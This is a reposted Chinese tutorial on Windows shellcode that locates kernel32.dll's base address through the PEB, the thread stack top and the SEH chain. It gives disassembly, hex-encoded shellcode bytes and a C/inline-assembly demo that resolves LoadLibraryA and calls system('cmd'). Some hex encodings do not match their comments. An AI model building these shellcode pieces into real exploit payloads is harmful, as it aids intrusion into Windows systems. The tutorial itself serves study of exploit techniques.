WIN下获取kernel基址的shellcode探讨(ZZ)

<pre><font size="2">gz1X [gz1x(at)tom(dot)com]<br /><br />2005.6.30</font><font size="2"> </font></pre><br /><br /><br /><pre><font size="2">[什么是shellcode]<br />———————————<br />Shellcode是一个攻击程序(Exploit)的核心代码,能够在溢出后改变系统的正常流程,取得系统的控制权,是一些汇编代码抽取成的16进制码;<br /></font></pre><br /><pre><font size="2"><br /><br />[经典溢出攻击流程]<br />———————————<br />1. 查找Kernel32.dll基地址;<br />2. 查找GetProcAddress()函数地址;<br />3. 查找其它API函数地址;<br />4. CreateProcess();<br />5. 远程连接。<br /><br />我们都知道WINDOWS的系统功能不像UNIX的系统调用那样实现,由于WINDOWS版本的不断更新,使得系统调用对SHELLCODE几乎起不到作用。<br />但是WINDOWS是靠DLL动态链接库来实现,这就是说,如果能从KERNEL32.DLL中获取LoadLibrary()和GetProcAddress()函数的地址,我们就可以调用WINDOWS下的所有函数了。<br />所以我们需要对KERNEL32.DLL进行地址定位,这也是本文的目的。<br /></font></pre><br /><pre><font size="2"><br /><br />[获取KERNEL地址的方法]<br />———————————<br />1.通过PEB获取;<br />2.通过TOPSTACK-TEB获取;<br />3.通过SEH获取;<br /></font></pre><br /><pre><font size="2"><br /><br />[第三方工具获取基址]<br />———————————<br />为了方便审核和对比结果,我们用MASM提供的dumpbin分析本地kernel32.dll的加载地址。如下:<br /><br />C:\WINDOWS\system32>dumpbin /headers kernel32.dll<br /><br /><br />           //...此处省略<br /><br />看OPTIONAL HEADER VALUES里的7C800000 image base,其中7C800000即为本地kernel32.dll的加载地址。<br />注意是本地的加载地址,在远程目标机器上,我们需要额外的技巧来实现kernel32.dll地址的查找,即PEB,SEH等方法。<br />当然,为了简单,你也可以直接用Windbg加载一个类似noteapad的可执行程序,ModLoad里很清晰地给出了kernel32.dll的地址。<br /></font></pre><br /><pre><font size="2"><br /><br />[PEB]<br />———————————<br />获取KERNEL地址最有效的方法就是通过PEB实现,即:PEB kernel base location。<br />下面是一个比较常见的利用PEB获取kernel32.dll地址的shellcode,31字节。<br /><br />———————————————— <br />/*程序1                                                  */<br />004045F4 > 6A 30               PUSH 30<br />004045F6         59                   POP ECX<br />004045F7         64:8B09             MOV ECX,DWORD PTR FS:[ECX]<br />004045FA         85C9               TEST ECX,ECX<br />004045FC         78 0C               JS SHORT OllyTest.0040460A<br />004045FE         8B49 0C             MOV ECX,DWORD PTR DS:[ECX+C]<br />00404601         8B71 1C             MOV ESI,DWORD PTR DS:[ECX+1C]<br />00404604         AD                   LODS DWORD PTR DS:[ESI]<br />00404605         8B48 08             MOV ECX,DWORD PTR DS:[EAX+8]<br />00404608         EB 09               JMP SHORT OllyTest.00404613<br />0040460A         8B49 34             MOV ECX,DWORD PTR DS:[ECX+34]<br />0040460D         8B49 7C             MOV ECX,DWORD PTR DS:[ECX+7C]<br />00404610         8B49 3C             MOV ECX,DWORD PTR DS:[ECX+3C]<br />———————————————— <br /><br />现在来分析下,PEB方法查找流程如下:<br />(1) FS寄存器 -> TEB结构;<br />(2) TEB+0x30 -> PEB结构;<br />(3) PEB+0x0c -> PEB_LDR_DATA;<br />(4) PEB_LDR_DATA+0x1c -> Ntdll.dll;<br />(5) Ntdll.dll+0x08 -> Kernel32.dll。<br />在2000以后的系统中,实际上实现的方法只要很短的几行:<br /> mov eax,fs:[30h] <br /> mov eax,[eax+0ch] <br /> mov esi,[eax+1ch] <br /> lodsd <br /> mov ebx,[eax+08h] <br />而在程序1中涉及了9X系统,所以还有相关的判断跳转。<br /><br />首先,我们来看看TEB和PEB的结构,利用WINDBG,调试如下:<br /><br />0:000> dt ntdll!_TEB<br />         +0x000 NtTib                  : _NT_TIB<br />         +0x01c EnvironmentPointer : Ptr32 Void<br />         +0x020 ClientId               : _CLIENT_ID<br />         +0x028 ActiveRpcHandle        : Ptr32 Void<br />         +0x02c ThreadLocalStoragePointer : Ptr32 Void<br />         +0x030 ProcessEnvironmentBlock : Ptr32 _PEB<br />         +0x034 LastErrorValue         : Uint4B<br />         +0x038 CountOfOwnedCriticalSections : Uint4B<br />         +0x03c CsrClientThread        : Ptr32 Void<br />         +0x040 Win32ThreadInfo        : Ptr32 Void<br />         ...//此处省略<br />         +0xfac CurrentTransactionHandle : Ptr32 Void<br />         +0xfb0 ActiveFrame            : Ptr32 _TEB_ACTIVE_FRAME<br />         +0xfb4 SafeThunkCall          : UChar<br />         +0xfb5 BooleanSpare           : [3] UChar<br /></font></pre><br /><pre><font size="2"><br /><br />0:000> dt -v -r ntdll!_PEB<br />struct _PEB, 65 elements, 0x210 bytes<br />         +0x000 InheritedAddressSpace : UChar<br />         +0x001 ReadImageFileExecOptions : UChar<br />         +0x002 BeingDebugged          : UChar<br />         +0x003 SpareBool              : UChar<br />         +0x004 Mutant                 : Ptr32 to Void<br />         +0x008 ImageBaseAddress : Ptr32 to Void<br />         +0x00c Ldr                    : Ptr32 to struct _PEB_LDR_DATA, 7 elements, 0x28 bytes<br />            +0x000 Length                 : Uint4B<br />            +0x004 Initialized            : UChar<br />            +0x008 SsHandle               : Ptr32 to Void<br />            +0x00c InLoadOrderModuleList : struct _LIST_ENTRY, 2 elements, 0x8 bytes<br />               +0x000 Flink                  : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes<br />               +0x004 Blink                  : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes<br />            +0x014 InMemoryOrderModuleList : struct _LIST_ENTRY, 2 elements, 0x8 bytes<br />               +0x000 Flink                  : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes<br />               +0x004 Blink                  : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes<br />            +0x01c InInitializationOrderModuleList : struct _LIST_ENTRY, 2 elements, 0x8 bytes<br />               +0x000 Flink                  : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes<br />               +0x004 Blink                  : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes<br />            +0x024 EntryInProgress        : Ptr32 to Void<br />         +0x010 ProcessParameters : Ptr32 to struct _RTL_USER_PROCESS_PARAMETERS, 28 elements, 0x290 bytes<br />            +0x000 MaximumLength          : Uint4B<br />            +0x004 Length                 : Uint4B<br />            +0x008 Flags                  : Uint4B<br />            +0x00c DebugFlags             : Uint4B<br />            +0x010 ConsoleHandle          : Ptr32 to Void<br />            +0x014 ConsoleFlags           : Uint4B<br />            +0x018 StandardInput          : Ptr32 to Void<br />            +0x01c StandardOutput         : Ptr32 to Void<br />            +0x020 StandardError          : Ptr32 to Void<br />          ... //此处省略<br />         +0x1f8 ActivationContextData : Ptr32 to Void<br />         +0x1fc ProcessAssemblyStorageMap : Ptr32 to Void<br />         +0x200 SystemDefaultActivationContextData : Ptr32 to Void<br />         +0x204 SystemAssemblyStorageMap : Ptr32 to Void<br />         +0x208 MinimumStackCommit : Uint4B<br /><br /><br />再结合[程序1],有:<br /><br />PUSH 30<br />POP ECX<br />这句很简单,给ECX赋值30。<br /><br /><br />MOV ECX,DWORD PTR FS:[ECX]<br />FS:0指向TEB,偏移30H的结果是指向PEB。<br /><br /><br />TEST ECX,ECX<br />JS SHORT OllyTest.0040460A<br />测试ECX,进行9X和NT的判断,符号位置位(即test结果为负)则认定为9X系统,进行短跳转。否则为2000/XP/2003系列,接着往下走。<br /><br /><br />MOV ECX,DWORD PTR DS:[ECX+C]<br />MOV ESI,DWORD PTR DS:[ECX+1C]<br />LODS DWORD PTR DS:[ESI]<br />MOV ECX,DWORD PTR DS:[EAX+8]<br />JMP SHORT OllyTest.00404613<br />DS:[ECX+C]指向了PEB_LDR_DATA结构(此结构作用:枚举当前进程空间中的模块),[ECX+1C]指向InitializationOrderModuleList结构,<br />这个结构里偏移8H就是kernel32.dll的相关。 因为是在NT下实现,所以找到后直接JMP掉9X的处理过程。<br /><br /><br />MOV ECX,DWORD PTR DS:[ECX+34]<br />MOV ECX,DWORD PTR DS:[ECX+7C]<br />MOV ECX,DWORD PTR DS:[ECX+3C]<br />WIN9X下的实现。<br /><br />由于shellcode中不能出现空字符,所以需要采用一些手段来进行赋值等操作,程序1和下面的程序2都采用了一些手法来到达目的。<br /></font></pre><br /><pre><font size="2"><br /><br />[PEB]扩展<br />————————<br />注释部分演示了另一种方法,实际上就是头几句用了个技巧,减少了字节数。<br /><br />————————————————  <br />/*程序2                   //程序注释采用C语言风格*/<br />xor eax, eax              //另外一种方法<br />xor edx, edx              //来自milw0rm<br />mov dl, 30h               //字节数减少了<br />mov eax, fs:[edx]         //后面相同<br />test eax, eax             //add         eax, fs:[eax+30h]<br />js for9x                  //js for9x<br />      <br />mov eax, [eax+0Ch] <br />mov esi, [eax+1Ch] <br />lodsd         <br />mov eax, [eax+08h] <br />jmp short skip <br /><br />for9x:   <br />mov eax, [eax+34h] <br /> lea eax, [eax+7Ch] <br /> mov eax, [eax+3Ch] <br /><br />skip:<br />————————————————  <br /><br />这是比较保守的写法了,但是也考虑了0X00的问题。<br />这个抽成的shellcode字节数应该比程序1那个长,35字节;<br />光看开头的几句:<br />xor eax, eax<br />xor edx, edx<br />mov dl, 30h<br />就可以知道字节数不少,抽出来16进制是:<br />\x31\xC0<br />\x31\xD2 <br />\xB2\x30 <br />6个字节,和程序1的那个:<br />6A 30               PUSH 30<br />59                 POP ECX<br />相差了3个字节...<br />完整的16进制码如下:<br />"\x31\xC0"                        /* xor eax, eax             */<br />"\x31\xD2"                        /* xor edx, edx             */<br />"\xB2\x30"                        /* mov dl, 30h              */<br />"\x64\x8B\x02"                    /* mov eax, [fs:edx]        */     <br />"\x85\xC0"                        /* test eax, eax            */<br />"\x78\xC0"                        /* js 0Ch                   */<br />"\x8B\x40\x0C"                    /* mov eax, [eax+0Ch] */      <br />"\x8B\x70\x1C"                    /* mov esi, [eax+1Ch] */<br />"\xAD"                            /* lodsd                    */<br />"\x8B\x40\x08"                    /* mov eax, [eax+08h] */<br />"\xEB\x07"                        /* jmp short 09h            */<br />"\x8B\x40\x34"                    /* mov eax, [eax+34h] */     <br />"\x8D\x40\x7C"                    /* lea eax, [eax+7Ch] */<br />"\x8D\x40\x3C"                    /* mov eax, [eax+3Ch] */<br /></font></pre><br /><pre><font size="2"><br /><br />[TOPSTACK-TEB]<br />————————<br />本地线程的堆栈里偏移1CH(或者18H)的指针指向kernel32.dll内部,而fs:[0x18]指向当前线程而且往里四个字节指向线程栈,<br />结合堆栈的top pointer进行对齐遍历,找到PE文件头(DLL的文件格式)的“MZ”MSDOS标志,就拿到了kernel32.dll基址。<br /><br />先从Windbg里查看一下:<br /><br />0:000> dt -v -r _NT_TIB $teb<br />struct _NT_TIB, 8 elements, 0x1c bytes<br />         +0x000 ExceptionList          : 0x0013fd0c struct _EXCEPTION_REGISTRATION_RECORD, 2 elements, 0x8 bytes<br />            +0x000 Next                   : 0xffffffff struct _EXCEPTION_REGISTRATION_RECORD, 2 elements, 0x8 bytes<br />               +0x000 Next                   : ???? <br />               +0x004 Handler                : ???? <br />            +0x004 Handler                : 0x7c92ee18              _EXCEPTION_DISPOSITION        ntdll!_except_handler3+0<br />         +0x004 StackBase              : 0x00140000 <br />         +0x008 StackLimit             : 0x0013e000 <br />         +0x00c SubSystemTib           : (null) <br />         +0x010 FiberData              : 0x00001e00 <br />         +0x010 Version                : 0x1e00<br />         +0x014 ArbitraryUserPointer : (null) <br />         +0x018 Self                   : 0x7ffdf000 struct _NT_TIB, 8 elements, 0x1c bytes<br />            +0x000 ExceptionList          : 0x0013fd0c struct _EXCEPTION_REGISTRATION_RECORD, 2 elements, 0x8 bytes<br />               +0x000 Next                   : 0xffffffff struct _EXCEPTION_REGISTRATION_RECORD, 2 elements, 0x8 bytes<br />               +0x004 Handler                : 0x7c92ee18                 _EXCEPTION_DISPOSITION        ntdll!_except_handler3+0<br />            +0x004 StackBase              : 0x00140000 <br />            +0x008 StackLimit             : 0x0013e000 <br />            +0x00c SubSystemTib           : (null) <br />            +0x010 FiberData              : 0x00001e00 <br />            +0x010 Version                : 0x1e00<br />            +0x014 ArbitraryUserPointer : (null) <br />            +0x018 Self                   : 0x7ffdf000 struct _NT_TIB<br /><br />其中+0x018 Self是一个指向TEB自己的指针,StackBase指向本线程堆栈的原点,即地址最高处,这里是0x140000,<br />而StackLimit则指向堆栈所在区间的下部边界,即地址最低处.<br /></font></pre><br /><pre><font size="2"><br />————————————————  <br />/*程序3                             */<br />xor esi, esi<br />mov esi, fs:[esi + 0x18]           //TEB <br />mov eax, [esi+4]                   //这个是需要的栈顶StackBase,top of the stack<br />mov eax, [eax - 0x1c]              //指向Kernel32.dll内部 <br />           //mov eax, [eax - 0x18]<br />find_kernel32_base:<br />dec eax                            //开始遍历页<br />xor ax, ax        <br />cmp word ptr [eax], 0x5a4d         //"MZ"<br />jne find_kernel32_base             //循环遍历,找到则返回eax<br />————————————————  <br /><br /></font></pre><br /><pre><font size="2">为了方便测试,我写了一个PEB/TEB/SEH通用测试例程:<br /><br />/*  <br /> *        程序4<br /> *        SEH method test for Windows 9x/NT/2k/XP <br /> *        asm return eax contained kernel32.dll base address.<br /> *        print kernel base address in the console.<br /> */ <br />__inline __declspec(naked) unsigned int GetKernel32()<br />{<br />        __asm<br />{<br />           push esi<br /> push ecx<br /><br />/*        you should replace the follow section if you want to test the others */<br /> xor esi, esi<br /> mov esi, fs:[esi + 0x18]      <br /> mov eax, [esi+4]             <br /> mov eax, [eax - 0x1c]        <br />   <br /> find_kernel32_base:<br /> dec eax                     <br /> xor ax, ax        <br /> cmp word ptr [eax], 0x5a4d  <br /> jne find_kernel32_base      <br />/* Above is the section needed to replace */<br /><br /> pop ecx<br /> pop esi<br /> ret<br />}<br />}<br /><br />void main(void)<br />{<br /> printf("Kernel base is located at: 0x%0.8X\n",GetKernel32());<br />}<br /><br />注意这几句:<br />1. mov eax, [eax - 0x1c]<br />一般地,它将指向kernel32.dll内部,你可以在编译器里单步跟踪调试。其中,eax值为StackBase(0x140000),计算eax-0x1c可得0x0013FFE4;<br />在我的机器上0x0013FFE4为0x7C839AA8,0x0013FFE8为7C816FE0。<br />此时栈的分布大致如下:<br />        | ...            |<br />          0013FFE0          | FFFFFFFF | SEH链尾部          //哦?有疑问吗?SEH吗?<br />          0013FFE4 | 7C839AA8 | SEH处理程序<br />          0013FFE8          | 7C816FE0 | kernel32.7C816FE0<br />        | 00000000 |<br />        | ...            |<br /><br />2. dec eax                      <br />         xor ax, ax <br />这两句的作用就是实现页遍历,单步跟踪结果如下:<br />0x7C839AA8 -> 0x7C839AA7 -> 0x7C830000 -> 0x7C82FFFF -> 0x7C820000 -> ... -> 0x7C800000 <br /><br />但是,在不同环境下的堆栈不同,如果偏移1C(或18)不指向kernel32.dll内部,将导致获取地址失败,当然这种情况很少发生,<br />至少我现在还没遇到过;另一个几率很小的失败现象是64K的页边界有"MZ"这样的特征字符出现,这样可能会误导得到错误的地址。<br /></font></pre><br /><pre><font size="2"><br /><br /><br />[SEH]<br />———————————<br />WINOWS另一个重要的也是未公开的技术(虽然现在不是什么新技术了)就是SEH(Structured Exception Handling)。<br />默认的异常处理(注意是默认的,如果你自己重写了异常处理,卸掉了默认的处理,那么此方法就行不通了。但一般没人这么做...),<br />它指向kernel32.dll内部,我们要做的就是顺藤摸瓜。<br />思路是这样的:进程里FS:[0]指向的是SEH链的最内层,为了找到顶层异常处理,我们向外遍历找到prev成员等于0xffffffff的EXCEPTION_REGISTER结构,<br />该结构的handler值就是系统默认的处理例程;这里有个细节,DLL的装载是64K边界对齐的,所以需要利用遍历到的指向最后的异常处理的指针进行页查找,<br />再结合PE文件MSDOS标志部分,只要在每个64K边界查找“MZ”字符就能找到kernel32.dll基址。<br /><br />————————————————  <br />/*程序5                        */<br />xor ecx, ecx<br />mov esi, fs:[ecx]<br /><br />find_seh:<br />mov eax,[esi]                <br />mov esi, eax<br />cmp [eax], ecx<br />jns find_seh                   //0xffffffff<br />mov eax, [eax + 0x04]          //handler<br /><br />find_kernel32_base:<br />dec eax<br />xor ax, ax<br />cmp word ptr [eax], 0x5a4d<br />jne find_kernel32_base<br />———————————————— <br /><br />我们将[程序5]套用[程序4]进行跟踪调试,handler指向的地址为0x7C839AA8,页遍历的结果和[程序4]相同。<br />0x7C839AA8这个地址处应该是最后的异常处理函数,我们可以从内存里看到:<br /><br />7C839AA8        55 8B EC 83 EC 08 53 56        U嬱冹.SV<br />7C839AB0        57 55 FC 8B 5D 0C 8B 45        WU鼖].婨<br />7C839AB8        08 F7 40 04 06 00 00 00        .鰼.....<br />7C839AC0        0F 85 AB 00 00 00 89 45        .叓...塃<br />7C839AC8        F8 8B 45 10 89 45 FC 8D        鴭E.塃鼚<br />7C839AD0        45 F8 89 43 FC 8B 73 0C        E鴫C鼖s.<br />7C839AD8        8B 7B 08 53 E8 7A 5E 04        媨.S鑪^.<br />7C839AE0        00 83 C4 04 0B C0 74 7B        .兡..纓{<br />... //此处省略<br />7C839B78        E8 62 43 FD FF 83 C4 08        鑒C..兡.<br />7C839B80        5D B8 01 00 00 00 5D 5F        ].....]_<br />7C839B88        5E 5B 8B E5 5D C3<br /><br />很经典的函数类型汇编代码:<br /> 55          push        ebp<br />         8b ec         mov        ebp, esp<br />         83 ec 08        sub        esp, 08<br />         53         push        ebx<br />         56         push        esi<br />         57         push        edi<br /> ...<br /> 5f         pop        edi<br />         5e         pop        esi<br />        5b         pop        ebx<br />         8b e5         mov        esp, ebp<br />         5d         pop        ebp<br />         c3         ret  <br /><br />这样也解开了TOPSTACK里的疑惑,回头去看栈里的内容,就知道为什么我会注释上SEH的字样了,其实栈里保存的也是默认的异常处理函数地址。<br />从根源上来说,TOPSTACK和SEH应该是属于一类方法,不过既然实现上有不同,我们也暂且划分成两类吧。<br /></font></pre><br /><pre><font size="2"><br /><br /><br />[shell测试程序]<br />———————————<br />获取KERNEL地址的方法介绍的差不多了,下面演示下结合PE结构获取API的方法得到cmd shell的例程。<br /><br /><br />/*   <br /> *        程序6<br /> *        Get the cmd shell.<br /> *        Coded by gz1x.<br /> */ <br />unsigned int GetFunc(unsigned int ImageBase,const char*FuncName,int flen)<br />{ <br /> __asm<br /> {  <br />        mov eax,ImageBase<br />        mov eax,[eax+0x3c]  <br />        add eax,ImageBase        //PE header<br />        mov eax,[eax+0x78]             //Data_Directory<br />        add eax,ImageBase   <br />        mov esi,eax         //IMAGE_EXPORT_DIRECTORY<br />        mov ecx,[eax+0x18]        //NumberOfName <br />        mov eax,[eax+0x20]        //AddressOfName<br />        add eax,ImageBase<br />        mov ebx,eax <br />        xor edx,edx<br /> FindLoop:<br />        push ecx<br />        push esi<br />        mov eax,[eax]<br />        add eax,ImageBase<br />        mov esi,FuncName<br />        mov edi,eax<br />        mov ecx,flen<br />        cld<br />        rep cmpsb         //compare function<br />        pop esi          //pop esi => IMAGE_EXPORT_DIRECTORY<br />        je        Found <br />        inc edx <br />        add ebx,4<br />        mov eax,ebx<br />        pop ecx<br />        loop FindLoop  <br /> Found:<br />        add esp,4<br />        mov eax,esi<br />        mov eax,[eax+0x1c]        //AddressOfFunction<br />        add eax,ImageBase  <br />        shl edx,2<br />        add eax,edx<br />        mov eax,[eax]   <br />        add eax,ImageBase        //eax return<br /> }<br />}<br /><br />__inline __declspec(naked) unsigned int GetKernel32()<br />{<br /> __asm<br /> {<br />            push esi<br />        push ecx<br />        /*        you should replace the follow section if you want to test the others */<br />        xor eax, eax        <br />        xor esi, esi<br />        mov esi, fs:[esi + 0x18]     <br />        mov eax, [esi+4]                       <br />        mov eax, [eax - 0x1c]        <br /> find_kernel32_base:<br />        dec eax                      <br />        xor ax, ax<br />        cmp word ptr [eax], 0x5a4d   <br />        jne find_kernel32_base       <br />        /* Above is the section needed to replace */<br />        pop ecx<br />        pop esi<br />        ret<br /> }<br />}<br /><br />void main(void)<br />{<br /> char risefunc[]="cmd",dll[]="msvcrt",func[]="system";<br /> unsigned int loadfun;<br /> loadfun=GetFunc(GetKernel32(),"LoadLibraryA",12);<br /><br /> __asm<br /> {<br />        lea eax,dll<br />        push eax<br />        call dword ptr loadfun         //LoadLibraryA("msvcrt");<br />        lea ebx,func<br />        push 0x06<br />        push ebx<br />        push eax<br />        call GetFunc                  //GetFunc([msvcrt],"system",6);<br />        mov ebx,eax<br />        add esp,0x04<br />        lea eax,risefunc<br />        push eax <br />        call ebx        //system("cmd");<br /> }<br />}<br /><br />其中,GetFunc函数通过PE文件头结构得到输出表的API地址,GetKernel32函数是在介绍SEH时给出的获取KERNEL地址的方法。<br />main函数里为了测试方便,加载了msvcrt.dll,获取其中的system函数,从而得到cmd窗口。</font></pre>


pixy.gif?x-id=97a5ae9b-5850-4e46-9b01-02c3880c105b

转载于:https://www.cnblogs.com/fanzi2009/archive/2009/03/19/1416803.html

猜你喜欢

转载自blog.csdn.net/weixin_34292402/article/details/94192491
zz